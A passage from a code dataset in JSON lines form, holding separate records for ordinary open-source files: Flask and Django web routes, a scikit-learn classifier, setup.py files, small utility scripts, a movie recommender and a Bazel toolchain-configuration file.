[]\n\n form = VoziloForm()\n if form.validate_on_submit():\n vozilo = Vozilo(broj_sasije=form.broj_sasije.data,marka=form.marka.data,tip=form.tip.data)\n db.session.add(vozilo)\n db.session.commit()\n flash('Bravo, upravo ste evidentirali vozilo!')\n return redirect(url_for('index'))\n return render_template('vozilo.html', title='Vozilo', form=form)\n\n@app.route('/vozilapregled',methods=['GET','POST'])\ndef vozilapregled():\n search = VozilaPregledForm(request.form)\n if request.method == 'POST':\n return search_results_vozila(search)\n\n return render_template('vozilapregled.html', title='Vozila', form=search)\n\n@app.route('/vozilapregledrezultat',methods=['GET','POST'])\ndef search_results_vozila(search):\n if not current_user.is_authenticated:\n return redirect(url_for('login'))\n results = []\n\n #search_string = search.data['izbor_brsas']\n #results = db.session.execute(\"select id_vozilo, broj_sasije, marka, tip from vozilo where broj_sasije like ':val%';\",{'val':search_string})\n\n trazim = '%{0}%'.format(search.data['izbor_brsas'])\n results = Vozilo.query.filter(Vozilo.broj_sasije.like(trazim))\n\n if not results:\n flash('Nije pronadjen rezultat')\n return redirect(url_for('vozilapregled'))\n else:\n table = ResultVozila(results)\n table.border = True\n return render_template('vozilapregledrezultat.html', table=table)\n\n@app.route('/servis', methods=['GET', 'POST'])\ndef servis():\n if not current_user.is_authenticated:\n return redirect(url_for('login'))\n form = ServisForm()\n if form.validate_on_submit():\n servis = Servis(id_vozilo=form.id_vozilo.data,datum=form.datum.data,opis_radova=form.opis_radova.data, iznos_radova=form.iznos_radova.data, id_vlasnik=form.id_vlasnik.data, id_automehanicar=form.id_automehanicar.data)\n db.session.add(servis)\n db.session.commit()\n flash('Bravo, upravo ste evidentirali uradjeni servis na vozilu!')\n return redirect(url_for('index'))\n return render_template('servis.html', title='Servsi', form=form)\n\n\n@app.route('/vlasnistvo', methods=['GET', 'POST'])\ndef vlasnistvo():\n if not current_user.is_authenticated:\n return redirect(url_for('login'))\n form = VlasnistvoForm()\n if form.validate_on_submit():\n vlasnistvo = Vlasnistvo(id_vozilo=form.id_vozilo.data,datum_od=form.datum_od.data,datum_do=form.datum_do.data,id_vlasnik=form.id_vlasnik.data)\n db.session.add(vlasnistvo)\n db.session.commit()\n flash('Bravo, upravo ste evidentirali vlasnistvo nad vozilom!')\n return redirect(url_for('index'))\n return render_template('vlasnistvo.html', title='vlasnistvo', form=form)\n\n@app.route('/voziloservisrezultat')\ndef search_results( search ):\n results = []\n search_string = search.data['izbor']\n\n if search.data['izbor'] != '':\n results = db.session.execute('select vozilo.broj_sasije,servis.datum,servis.opis_radova,servis.iznos_radova\\\n from servis, vozilo\\\n where vozilo.broj_sasije = :val\\\n and vozilo.id_vozilo = servis.id_vozilo;',{'val':search_string})\n\n if not results:\n flash('Nije pronadjen rezultat')\n return redirect(url_for('voziloservis'))\n else:\n # display results\n table = ResultsVoziloServis(results)\n table.border = True\n return render_template('voziloservisrezultat.html', table=table)\n\n\n@app.route('/voziloservis', methods=['GET', 'POST'])\ndef voziloservis():\n search = VoziloServisPretragaForm(request.form)\n if request.method == 'POST':\n return search_results(search)\n\n return render_template('voziloservis.html', title='Servis', form=search)\n\n\n@app.route('/majstorservis', methods=['GET', 'POST'])\ndef majstorservis():\n search1 = MajstorServisPretragaForm(request.form)\n if request.method == 'POST':\n return search_majstorservis_results(search1)\n\n return render_template('majstorservis.html', title='Servis', form=search1)\n\n@app.route('/majstorservisrezultat')\ndef search_majstorservis_results( search ):\n results = []\n search_string = search.data['izbor_majstor']\n\n if search.data['izbor_majstor'] != '':\n results = db.session.execute('select korisnik.ime,korisnik.prezime,vozilo.broj_sasije,servis.datum,servis.opis_radova,servis.iznos_radova\\\n from korisnik, servis, vozilo\\\n where korisnik.ime = :val\\\n and servis.id_automehanicar = korisnik.id_korisnik\\\n and servis.id_vozilo = vozilo.id_vozilo;',{'val':search_string})\n\n if not results:\n flash('Nije pronadjen rezultat!')\n return redirect(url_for('majstorservis'))\n else:\n # display results\n table1 = ResultsMajstorServis(results)\n table1.border = True\n return render_template('majstorservisrezultat.html', table=table1)\n\n@app.route('/graf')\ndef graf():\n results = []\n labels = []\n values = []\n\n results = db.session.execute('select vozilo.broj_sasije,servis.iznos_radova\\\n from servis,vozilo\\\n where servis.id_vozilo = vozilo.id_vozilo\\\n group by vozilo.broj_sasije;')\n\n for row in results:\n labels.append(row[\"broj_sasije\"])\n values.append(row[\"iznos_radova\"])\n\n \"\"\"\n labels = [\n 'AA', 'BB'\n ]\n\n values = [\n 967.67, 1190.89, 1079.75, 1349.19,\n 2328.91, 2504.28, 2873.83, 4764.87,\n 4349.29, 6458.30, 9907, 16297\n ]\n \"\"\"\n colors = [\n \"#F7464A\", \"#46BFBD\", \"#FDB45C\", \"#FEDCBA\",\n \"#ABCDEF\", \"#DDDDDD\", \"#ABCABC\", \"#4169E1\",\n \"#C71585\", \"#FF4500\", \"#FEDCBA\", \"#46BFBD\"]\n\n\n line_labels=labels\n line_values=values\n return render_template('graf.html', title='Troskovnik vozlila', max=45000, labels=line_labels, values=line_values)\n","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":8850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"73467089","text":"# -*- coding: utf-8 -*-\n\n#############################\n##### LIBRERIAS #####\n#############################\n\nimport random\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport seaborn as sns\n\nfrom sklearn.model_selection import GridSearchCV, train_test_split\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.svm import SVC\nfrom sklearn.ensemble import AdaBoostClassifier\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.gaussian_process import GaussianProcessClassifier\nfrom sklearn.gaussian_process.kernels import RBF\nfrom sklearn.ensemble import RandomForestClassifier\n\nfrom sklearn.decomposition import PCA\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.base import BaseEstimator\n\nimport warnings\n\n# --------------------------------------------------------------------------------------\n# Semilla\nSEED = 150\nnp.random.seed(SEED)\n\n# Clase que funciona como cualquier estimador\nclass ClfSwitcher(BaseEstimator):\n def __init__(\n self,\n estimator = LogisticRegression(),\n ):\n \"\"\"\n A Custom BaseEstimator that can switch between classifiers.\n :param estimator: sklearn object - The classifier\n \"\"\"\n\n self.estimator = estimator\n\n def fit(self, X, y=None, **kwargs):\n self.estimator.fit(X, y)\n return self\n\n def predict(self, X, y=None):\n return self.estimator.predict(X)\n\n def predict_proba(self, X):\n return self.estimator.predict_proba(X)\n\n def score(self, X, y):\n return self.estimator.score(X, y)\n\n# Lectura de los datos de entrenamiento\ndatos = pd.read_csv(\"./datos/OnlineNewsPopularity.csv\", delimiter = ', ', engine = 'python')\n# Quitamos los atributos no predictivos\ndatos = datos.drop(columns=['url', 'timedelta'])\nprint(datos)\n\n# Datos perdidos\ndatos_perdidos = datos.columns[datos.isnull().any()]\nprint(len(datos_perdidos))\ndatos_perdidos = datos.columns[datos.isna().any()]\nprint(len(datos_perdidos))\n\ny = datos.iloc[:, -1]\nX = datos.iloc[:, :-1]\n\ny = y.apply(lambda x: -1.0 if x < 1400 else 1.0)\n\nprint(\"Valor mínimo de las caraterísticas del conjunto de datos: {}\".format(X.values.min()))\nprint(\"Valor máximo de las caraterísticas del conjunto de datos: {}\".format(X.values.max()))\n\n# Vemos si las clases estan bien balanceadas\ny_df = pd.DataFrame(data = y)\nnumero_elementos = []\nclases = [1.0,-1.0]\nfor i in clases:\n numero_elementos.append(y_df['shares'].value_counts()[i])\n\ndf_plot = pd.DataFrame(columns= [\"Clases\", \"Número de ejemplos\"], data =[[c,n] for c, n in zip(clases,numero_elementos)])\nsns.barplot(x=\"Clases\", y =\"Número de ejemplos\", data = df_plot)\nplt.title(\"Número de ejemplos de cada clase en el conjunto de datos\")\nplt.show()\ninput(\"\\n--- Pulsar tecla para continuar ---\\n\")\n\nX_train, X_test, y_train, y_test = train_test_split(X,y,test_size = 0.20)\n\n# Preprocesado\npreprocesado = [(\"escalado\", StandardScaler()),\n (\"PCA\", PCA(n_components=0.95))]\n\npreprocesador = Pipeline(preprocesado)\n\n# Mostramos la matriz de correlaciones antes del preprocesado de datos\ndef mostrar_correlaciones(datos):\n f, ax = plt.subplots(figsize=(10, 8))\n corr = datos.corr()\n sns.heatmap(corr,\n mask=np.zeros_like(corr, dtype=np.bool),\n cmap=sns.diverging_palette(220, 10, as_cmap=True),\n square=True,\n ax=ax)\n f.suptitle('Matriz Correlaciones')\n plt.show()\n\nmostrar_correlaciones(X_train)\ninput(\"\\n--- Pulsar tecla para continuar ---\\n\")\n\n# Mostramos la matriz de correlaciones después del preprocesado de datos\ndef muestra_correlaciones_procesados(datos):\n f, ax = plt.subplots(figsize=(10, 8))\n corr = np.corrcoef(datos.T)\n sns.heatmap(corr,\n mask=np.zeros_like(corr, dtype=np.bool),\n cmap=sns.diverging_palette(220, 10, as_cmap=True),\n square=True,\n ax=ax)\n f.suptitle('Matriz Correlaciones')\n plt.show()\n\ndatos_preprocesados = preprocesador.fit_transform(X_train)\nmuestra_correlaciones_procesados(datos_preprocesados)\ninput(\"\\n--- Pulsar tecla para continuar ---\\n\")\n\n# Entrenamiento\n# Añadimos el clasificador ClfSwitcher para evitar errores de compilación\npreprocesado = [(\"escalado\", StandardScaler()),\n (\"PCA\", PCA(n_components=0.95)), ('clf', ClfSwitcher())]\n\npreprocesador = Pipeline(preprocesado)\n\n# Modelos\nmodelos = [\n {'clf': [LogisticRegression(penalty='l2', # Regularización Ridge (L2)\n solver='lbfgs', # Algoritmo a utilizar en el problema de optimización, aunque es el dado por defecto\n max_iter=1000)],\n 'clf__C':[2.0, 1.0, 0.1, 0.01, 0.001]},\n {'clf': [SVC(kernel='rbf', # kernel gausiano\n class_weight=\"balanced\", # clases balanceadas\n random_state=SEED)],\n 'clf__C': [10**a for a in range(-4, 2)]},\n {'clf': [RandomForestClassifier(random_state=SEED,\n class_weight=\"balanced\")],\n 'clf__max_depth': [10, 20, 30, 40, 50],\n 'clf__n_estimators': [50, 100, 150, 200]},\n]\n\n# cross-validation\ngrid = GridSearchCV(preprocesador, modelos, scoring='accuracy', cv=5, n_jobs=-1)\n\ngrid.fit(X_train, y_train)\ndf_cv_results = pd.DataFrame(grid.cv_results_)\n# compression_opts = dict(method='zip', archive_name='results.csv')\n# df_cv_results.to_csv('results.zip', index=False, compression=compression_opts)\n\nclasificador = grid.best_estimator_\n\n# Mostramos el clasificador elegido\nprint(\"Clasificador elegido: {}\".format(clasificador))\ny_predict = clasificador.predict(X_test)\n\n# Matriz de confusion\ncm = confusion_matrix(y_test, y_predict)\ncm = 100*cm.astype(\"float64\")/cm.sum(axis=1)[:,np.newaxis]\nfig = plt.figure()\nax = fig.add_subplot()\ncax = ax.matshow(cm, cmap =\"BuGn\")\nplt.title('Confusion matrix of the classifier')\nfig.colorbar(cax)\nax.set(title=\"Matriz de confusión\",\n xticks=range(2),\n yticks=range(2),\n xlabel=\"Etiqueta real\",\n ylabel=\"Etiqueta predicha\")\n\n# Añadimos los porcentajes a las celdas\nfor i in range(2):\n for j in range(2):\n ax.text(j, i, \"{:.0f}%\".format(cm[i, j]), ha=\"center\", va=\"center\")\n\nplt.show()\ninput(\"\\n--- Pulsar tecla para continuar ---\\n\")\n\n# Resultados\nprint(\"E_in: {}\".format(1 - clasificador.score(X_train, y_train)))\nprint(\"E_test: {}\".format(1 - clasificador.score(X_test, y_test)))\n","sub_path":"pfinal.py","file_name":"pfinal.py","file_ext":"py","file_size_in_byte":6359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"176151771","text":"# -*- coding: utf-8 -*-\nimport os\nfrom setuptools import setup\nfrom setuptools import find_packages\n\nhere = os.path.abspath(os.path.dirname(__file__))\nREADME = open(os.path.join(here, 'README.rst')).read()\nCHANGES = open(os.path.join(here, 'CHANGES.rst')).read()\n\nsetup(name=\"xpinyin\",\n version='0.5.3',\n description=\"translate chinese hanzi to pinyin by python\",\n long_description=README + '\\n\\n' + CHANGES,\n author=\"Eric Lo\",\n author_email=\"lxneng@gmail.com\",\n url=\"https://github.com/lxneng/xpinyin\",\n packages=find_packages('src'),\n test_suite='xpinyin.tests',\n package_dir={'': 'src'},\n include_package_data=True,\n license=\"MIT License\")\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"354736163","text":"# -*- coding: utf-8 -*-\r\n# __Author__: PanDongLin\r\nfrom django.conf.urls import url\r\nfrom devops import views\r\n\r\n\r\nurlpatterns = [\r\n url(r'^show_message/', views.show_message, name='show_message'),\r\n url(r'^multi_cmd/', views.multi_cmd, name='multi_cmd'),\r\n url(r'^task_center/$', views.task_center, name=\"task_center\"),\r\n url(r'^task_center/result/$', views.get_task_result, name=\"get_task_result\"),\r\n url(r'^code_commit/', views.code_commit, name='code_commit'),\r\n url(r'^code_audit/', views.code_audit, name='code_audit'),\r\n url(r'^code_list/', views.code_list, name='code_list'),\r\n]","sub_path":"mysite/devops/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"507011225","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\nInstall PlexAPI\n\"\"\"\nimport re\nfrom distutils.core import setup\nfrom setuptools import find_packages\n\n# Convert markdown readme to rst\ntry:\n from pypandoc import convert\n read_md = lambda f: convert(f, 'rst')\nexcept ImportError:\n print(\"Warn: pypandoc not found, not converting Markdown to RST\")\n read_md = lambda f: open(f, 'r').read()\n\n\n# Fetch the current version\nwith open('plexapi/__init__.py') as handle:\n for line in handle.readlines():\n if line.startswith('VERSION'):\n VERSION = re.findall(\"'([0-9\\.]+?)'\", line)[0]\n\nsetup(\n name='PlexAPI',\n version=VERSION,\n description='Python bindings for the Plex API.',\n author='Michael Shepanski',\n author_email='mjs7231@gmail.com',\n url='https://github.com/mjs7231/plexapi',\n packages=find_packages(),\n install_requires=['requests'],\n long_description=read_md('README.md'),\n keywords=['plex', 'api'],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"96628180","text":"\n\nsuits = ['s', 'h', 'd', 'c']\nhands = ['2', '3', '4', '5', '6', '7', '8', '9', 'T', 'J', 'Q', 'K', 'A']\n\ncards = []\nfor h in hands:\n for s in suits:\n cards.append(h+s)\n\ncard_len = len(cards)\n\nfor i in range(0, card_len):\n for j in range(i+1, card_len):\n for k in range(j+1, card_len):\n print(cards[i]+cards[j]+cards[k])\n\n\n","sub_path":"src/all_board.py","file_name":"all_board.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"305789673","text":"#!/usr/bin/python\nimport ctypes\nimport os\nimport random\nimport functools\n\nimport schedule\n\nindex = 0\n\n\ndef change_background(picture_path: str) -> None:\n ctypes.windll.user32.SystemParametersInfoW(20, 0, picture_path, 3)\n\n\ndef get_pictures(dir_path: str) -> list:\n return [os.path.join(root, name)\n for root, dirs, files in os.walk(dir_path, topdown=False)\n for name in files\n if name.endswith('jpg') or name.endswith('png')]\n\n\ndef log(text):\n def decorator(f):\n @functools.wraps(f)\n def wrap(*args, **kwargs):\n p = f(*args, **kwargs)\n print(f'{text}: {p}')\n return p\n\n return wrap\n\n return decorator\n\n\n@log(f'DESKTOP_BG_IMG switch to')\ndef change_background_job(dir_path) -> None:\n if dir_path.__class__.__name__ == 'list':\n dir_path = dir_path[0]\n pictures = get_pictures(dir_path)\n index = random.randint(0, len(pictures) - 1)\n change_background(pictures[index])\n return pictures[index]\n\n\ndef scheduler(job: staticmethod, interval, arg_num, *args) -> None:\n if arg_num <= 0:\n schedule.every(interval).seconds.do(job)\n else:\n schedule.every(interval).seconds.do(job, [args[i] for i in range(arg_num)])\n while True:\n schedule.run_pending()\n\n\nif __name__ == '__main__':\n scheduler(change_background_job, 10, 1, r'C:\\Users\\Aragorn II\\Desktop\\Des', 'hello', 'world')\n","sub_path":"Change.py","file_name":"Change.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"195509691","text":"import json\nimport csv\n\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom nltk.tokenize import RegexpTokenizer\nfrom nltk.stem import WordNetLemmatizer\nfrom sklearn.metrics.pairwise import cosine_similarity\n\nclass LemmaTokenizer(object):\n def __init__(self):\n self.tokenizer = RegexpTokenizer('(?u)\\w\\w+')\n self.wnl = WordNetLemmatizer()\n def __call__(self, doc):\n return([self.wnl.lemmatize(t) for t in self.tokenizer.tokenize(doc)])\n\ndef read_data(fin):\n info_li = []\n\n with open(fin, 'r', newline='', encoding='utf-8') as filereader:\n info_li = list(csv.reader(filereader))\n\n return info_li\n\n# 파일 입력\nfin_movie = 'movies_plot.csv'\nmovie_info_li = read_data(fin_movie)\n\nresult_lines = []\nmovie_plot_li = []\n\nfor movie_info in movie_info_li:\n if movie_info != []:\n try:\n movie_plot = movie_info[2]\n except KeyError:\n print('incomplete json: %s' %(movie_info[0]))\n result_lines.append([movie_info[0], movie_info[1], movie_plot])\n movie_plot_li.append(movie_plot)\nvectorizer2 = TfidfVectorizer(min_df=1, tokenizer=LemmaTokenizer(), stop_words='english')\nX = vectorizer2.fit_transform(movie_plot_li)\n\n# 코사인 유사도\nmovie_sim = cosine_similarity(X)\n\ndef similar_recommend_by_movie_id(movielens_id, m_id):\n movie_index = movielens_id - 1\n\n similar_movies = sorted(list(enumerate(movie_sim[movie_index])),\n key=lambda x: x[1], reverse=True)\n recommended = 1\n for movie_info in similar_movies[1:6]:\n movie_title=movie_info_li[movie_info[0]]\n jsonResult.append({\"m_id\": m_id, \"similar_id\":movie_title[1]})\n recommended += 1\n\n# 비슷한것 찾기 json 파일 생성\ni = 1\njsonResult = []\nfor movie_info in movie_info_li:\n if movie_info != []:\n similar_recommend_by_movie_id(i, movie_info[1])\n print(\"%s_json save\"%movie_info[1])\n i += 1\nwith open('output3/%s_movie.json' % (i), 'w', encoding='utf-8') as outfile:\n retJson = json.dumps(jsonResult, indent=4, sort_keys=True, ensure_ascii=False)\n outfile.write(retJson)","sub_path":"etc/simliar/tmdb_total_file.py","file_name":"tmdb_total_file.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"35455233","text":"import random\n\ndef insertion_sort(l):\n \"\"\"\n This is the standard insertion sort which sorts in place\n by moving all nodes over one when inserting\n \"\"\"\n for i in range(1,len(l)):\n new_node = l[i]\n rev_index = i - 1\n # Compare the new node to the previous ones starting at the right\n print(f\"i: {i}\")\n print(l)\n while (rev_index >= 0 and new_node < l[rev_index]):\n print(f\"rev_index: {rev_index}\")\n # if the new node is less, then move the \n # current node one over and check again\n l[rev_index+1] = l[rev_index] \n rev_index -= 1\n # when the new_node is greater than the value at index rev_index\n # place the new_node value to the right of that index\n l[rev_index+1] = new_node\n return l \n \ndef insertion_sort_temparray(l):\n \"\"\"\n This insertion sort uses a temp array but it is\n actually possible (better?) to sort it in place by moving all the nodes\n over when inserting\n \"\"\"\n temp = []\n for i in range(len(l)):\n inserted = False\n print(temp, i)\n # compare to elements in temp and insert\n for j in range(len(temp)):\n print(j, temp[j])\n if l[i] < temp[j]:\n #insert it here\n temp.insert(j, l[i])\n inserted = True\n break\n # if it wasn't inserted put it at the end\n if not inserted:\n temp.append(l[i])\n return temp\n\n\ndef compare_sort(l):\n for i in range(0,len(l)):\n print(l)\n # compare to rest of list\n for j in range(i+1,len(l)):\n if l[i] > l[j]:\n l[i], l[j] = l[j], l[i] #swap\n return l\n\nif __name__ == \"__main__\":\n size = 10\n l = []\n for i in range(size):\n l.append(random.randint(1,100))\n\n print(l)\n l = insertion_sort(l)\n print(l)\n","sub_path":"python_reference_scripts/insertionsort.py","file_name":"insertionsort.py","file_ext":"py","file_size_in_byte":1910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"457150215","text":"# Copyright 2017 The Bazel Authors. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\" Definitions to create BUILD files for rbe_autoconfig.\"\"\"\n\nload(\n \"//rules/rbe_repo:util.bzl\",\n \"CC_CONFIG_DIR\",\n \"JAVA_CONFIG_DIR\",\n \"PLATFORM_DIR\",\n)\nload(\"//rules/exec_properties:exec_properties.bzl\", \"create_rbe_exec_properties_dict\")\n\n_CC_TOOLCHAIN = \":cc-compiler-k8\"\n\n# Defining a local version of dicts.add in order not to create a dependency on bazel_skylib.\ndef _merge_dicts(*dict_args):\n result = {}\n for dictionary in dict_args:\n if dictionary:\n result.update(dictionary)\n return result\n\ndef create_config_aliases(ctx, toolchain_config_spec_name):\n \"\"\"Produces BUILD files with alias for the C++ and Java toolchain targets.\n\n Java toolchain aliases are only created if configs are exported.\n\n Args:\n ctx: the Bazel context object.\n toolchain_config_spec_name: name of the toolchain config spec\n \"\"\"\n if ctx.attr.create_cc_configs:\n # Create the BUILD file with the alias for the cc_toolchain_suite\n template = ctx.path(Label(\"@bazel_toolchains//rules/rbe_repo:BUILD.cc_alias.tpl\"))\n toolchain = (\"@{toolchain_config_repo}//{config_output_base}/{toolchain_config_spec_name}/bazel_{bazel_version}/{cc_dir}:toolchain\".format(\n toolchain_config_spec_name = toolchain_config_spec_name,\n bazel_version = ctx.attr.bazel_version,\n cc_dir = CC_CONFIG_DIR,\n config_output_base = ctx.attr.toolchain_config_suite_spec[\"output_base\"],\n toolchain_config_repo = ctx.attr.toolchain_config_suite_spec[\"repo_name\"],\n ))\n ctx.template(\n CC_CONFIG_DIR + \"/BUILD\",\n template,\n {\n \"%{toolchain}\": toolchain,\n },\n False,\n )\n if ctx.attr.create_java_configs and ctx.attr.export_configs:\n # Create the BUILD file with the alias for the java_runtime\n template = ctx.path(Label(\"@bazel_toolchains//rules/rbe_repo:BUILD.java_alias.tpl\"))\n java_runtime = (\"@{toolchain_config_repo}//{config_output_base}/{toolchain_config_spec_name}/bazel_{bazel_version}/{java_dir}:jdk\".format(\n toolchain_config_spec_name = toolchain_config_spec_name,\n bazel_version = ctx.attr.bazel_version,\n java_dir = JAVA_CONFIG_DIR,\n config_output_base = ctx.attr.toolchain_config_suite_spec[\"output_base\"],\n toolchain_config_repo = ctx.attr.toolchain_config_suite_spec[\"repo_name\"],\n ))\n ctx.template(\n JAVA_CONFIG_DIR + \"/BUILD\",\n template,\n {\n \"%{java_runtime}\": java_runtime,\n },\n False,\n )\n\ndef create_java_runtime(ctx, java_home):\n \"\"\"Creates a BUILD file with the java_runtime target. \n\n Args:\n ctx: the Bazel context object.\n java_home: the seleceted/resolved location for java_home.\n \"\"\"\n template = ctx.path(Label(\"@bazel_toolchains//rules/rbe_repo:BUILD.java.tpl\"))\n ctx.template(\n JAVA_CONFIG_DIR + \"/BUILD\",\n template,\n {\n \"%{java_home}\": java_home,\n },\n False,\n )\n\ndef create_export_platform(ctx, exec_properties, image_name, name, toolchain_config_spec_name, use_legacy_platform_definition):\n \"\"\"Creates a BUILD file (to be exported to output_base) with the cc_toolchain and platform targets.\n\n Args:\n ctx: the Bazel context object.\n exec_properties: A string->string dict containing execution properties to\n be used when creating the platform. Will be used only when\n use_legacy_platform_definition == False. This dict must not contain\n \"container-image\".\n image_name: the name of the image.\n name: name of rbe_autoconfig repo rule.\n toolchain_config_spec_name: name of the toolchain config spec\n use_legacy_platform_definition: Whether to create a platform with\n remote_execution_properties (legacy) or with exec_properties.\n \"\"\"\n cc_toolchain_target = \"//\" + ctx.attr.toolchain_config_suite_spec[\"output_base\"]\n if toolchain_config_spec_name:\n cc_toolchain_target += \"/\" + toolchain_config_spec_name\n cc_toolchain_target += \"/bazel_\" + ctx.attr.bazel_version\n cc_toolchain_target += \"/cc\" + _CC_TOOLCHAIN\n _create_platform(ctx, exec_properties, image_name, name, cc_toolchain_target, use_legacy_platform_definition)\n\ndef create_external_repo_platform(ctx, exec_properties, image_name, name, use_legacy_platform_definition):\n \"\"\"Creates a BUILD file (to be used with configs in the external repo) with the cc_toolchain and platform targets.\n\n Args:\n ctx: the Bazel context object.\n exec_properties: A string->string dict containing execution properties to\n be used when creating the platform. Will be used only when\n use_legacy_platform_definition == False. This dict must not contain\n \"container-image\".\n image_name: the name of the image.\n name: name of rbe_autoconfig repo rule.\n use_legacy_platform_definition: Whether to create a platform with\n remote_execution_properties (legacy) or with exec_properties.\n \"\"\"\n cc_toolchain_target = \"@\" + ctx.attr.name + \"//\" + CC_CONFIG_DIR + _CC_TOOLCHAIN\n _create_platform(ctx, exec_properties, image_name, name, cc_toolchain_target, use_legacy_platform_definition)\n\ndef create_alias_platform(ctx, exec_properties, image_name, name, toolchain_config_spec_name, use_legacy_platform_definition):\n \"\"\"Creates a BUILD file (pointing to checked in config) with the cc_toolchain and platform targets.\n\n Args:\n ctx: the Bazel context object.\n exec_properties: A string->string dict containing execution properties to\n be used when creating the platform. Will be used only when\n use_legacy_platform_definition == False. This dict must not contain\n \"container-image\".\n image_name: the name of the image.\n name: name of rbe_autoconfig repo rule.\n toolchain_config_spec_name: name of the toolchain config spec.\n use_legacy_platform_definition: Whether to create a platform with\n remote_execution_properties (legacy) or with exec_properties.\n \"\"\"\n cc_toolchain_target = (\"@{toolchain_config_repo}//{config_output_base}/{toolchain_config_spec_name}/bazel_{bazel_version}/{cc_dir}{target}\".format(\n toolchain_config_spec_name = toolchain_config_spec_name,\n bazel_version = ctx.attr.bazel_version,\n cc_dir = CC_CONFIG_DIR,\n config_output_base = ctx.attr.toolchain_config_suite_spec[\"output_base\"],\n target = _CC_TOOLCHAIN,\n toolchain_config_repo = ctx.attr.toolchain_config_suite_spec[\"repo_name\"],\n ))\n _create_platform(ctx, exec_properties, image_name, name, cc_toolchain_target, use_legacy_platform_definition)\n\n# Creates a BUILD file with the cc_toolchain and platform targets\ndef _create_platform(ctx, exec_properties, image_name, name, cc_toolchain_target, use_legacy_platform_definition):\n template = ctx.path(Label(\"@bazel_toolchains//rules/rbe_repo:BUILD.platform_legacy.tpl\")) if use_legacy_platform_definition else ctx.path(Label(\"@bazel_toolchains//rules/rbe_repo:BUILD.platform.tpl\"))\n exec_compatible_with = (\"\\\"\" +\n (\"\\\",\\n \\\"\").join(ctx.attr.exec_compatible_with) +\n \"\\\",\")\n target_compatible_with = (\"\\\"\" +\n (\"\\\",\\n \\\"\").join(ctx.attr.target_compatible_with) +\n \"\\\",\")\n\n platform_exec_properties = create_rbe_exec_properties_dict(\n container_image = \"docker://%s\" % image_name,\n os_family = \"Linux\",\n )\n platform_exec_properties = _merge_dicts(platform_exec_properties, exec_properties)\n\n ctx.template(\n PLATFORM_DIR + \"/BUILD\",\n template,\n {\n \"%{cc_toolchain}\": cc_toolchain_target,\n \"%{exec_compatible_with}\": exec_compatible_with,\n \"%{image_name}\": image_name,\n \"%{platform_exec_properties}\": \"%s\" % platform_exec_properties,\n \"%{target_compatible_with}\": target_compatible_with,\n },\n False,\n )\n","sub_path":"rules/rbe_repo/build_gen.bzl","file_name":"build_gen.bzl","file_ext":"bzl","file_size_in_byte":8751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"565838157","text":"class CurrencyPairsConverter:\n PPC = 'ppc'\n USD = 'usd'\n ETH = 'eth'\n RUR = 'rur'\n BTC = 'btc'\n DSH = 'dsh'\n LTC = 'ltc'\n NMC = 'nmc'\n EUR = 'eur'\n CODES = [PPC, USD, ETH, RUR, BTC, DSH, LTC, NMC, EUR]\n ASSOC = {\n PPC: 'Peercoin',\n USD: 'US Dollar',\n ETH: 'Ethereum',\n RUR: 'Ruble',\n BTC: 'Bitcoin',\n DSH: 'Dash',\n LTC: 'Litecoin',\n NMC: 'Namecoin',\n EUR: 'Euro',\n }\n\n def __init__(self):\n pass\n\n @staticmethod\n def build_pair(left, right):\n return left + '_' + right\n\n def readable(self, code):\n return self.ASSOC[code]\n\n def code_pairs_to_readable(self, code_pair):\n chunks = code_pair.split('_')\n if chunks[0] in self.CODES and chunks[1] in self.CODES:\n first = self.readable(chunks[0])\n second = self.readable(chunks[1])\n return first + ' - ' + second\n","sub_path":"components/converter/currency_pairs.py","file_name":"currency_pairs.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"163083452","text":"\n\n\nimport scipy.signal as ssig\nfrom os.path import join\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nbase_folder = r'Z:\\n\\Neuroseeker Probe Recordings\\Neuroseeker Chronic Rat 22.1\\2017_06_02\\13_20_21\\Analysis\\Kilosort'\ndata_folder = r'Z:\\n\\Neuroseeker Probe Recordings\\Neuroseeker Chronic Rat 22.1\\2017_06_02\\13_20_21\\Data'\nbinary_data_filename = join(data_folder, 